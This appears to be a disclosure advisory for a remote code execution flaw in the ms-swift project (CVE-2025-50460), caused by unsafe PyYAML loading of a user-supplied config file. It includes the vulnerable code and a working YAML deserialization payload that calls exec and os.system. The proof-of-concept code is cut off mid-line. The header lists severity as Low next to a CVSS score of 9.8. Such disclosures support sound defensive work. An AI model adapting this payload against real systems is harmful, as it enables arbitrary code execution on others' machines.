MS SWIFT Remote Code Execution via unsafe PyYAML deserialization
Date: 2025-07
Affected: pip/ms-swift
Attack vector: deserialization
Category: vulnerability-disclosure
Severity: Low
CVE: CVE-2025-50460
CWE: CWE-502
CVSS: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

## Description A Remote Code Execution (RCE) vulnerability exists in the [modelscope/ms-swift](https://github.com/modelscope/ms-swift) project due to unsafe use of `yaml.load()` in combination with vulnerable versions of the PyYAML library (≤ 5.3.1). The issue resides in the `tests/run.py` script, where a user-supplied YAML configuration file is deserialized using `yaml.load()` with `yaml.FullLoader`. If an attacker can control or replace the YAML configuration file provided to the `--run_config` argument, they may inject a malicious payload that results in arbitrary code execution. ## Affected Repository - **Project:** [modelscope/ms-swift](https://github.com/modelscope/ms-swift) - **Affect versions:** latest - **File:** `tests/run.py` - **GitHub Permalink:** https://github.com/modelscope/ms-swift/blob/e02ebfdf34f979bbdba9d935acc1689f8d227b38/tests/run.py#L420 - **Dependency:** PyYAML <= 5.3.1 ## Vulnerable Code ```python if args.run_config is not None and Path(args.run_config).exists(): with open(args.run_config, encoding='utf-8') as f: run_config = yaml.load(f, Loader=yaml.FullLoader) ``` ## Proof of Concept (PoC) ### Step 1: Create malicious YAML file (`exploit.yaml`) ```yaml !!python/object/new:type args: ["z", !!python/tuple [], {"extend": !!python/name:exec }] listitems: "__import__('os').system('mkdir HACKED')" ``` ### Step 2: Execute with vulnerable PyYAML (<= 5.3.1) ```python import yaml with open("exploit.yaml", "r") as f: cfg = yaml.loa


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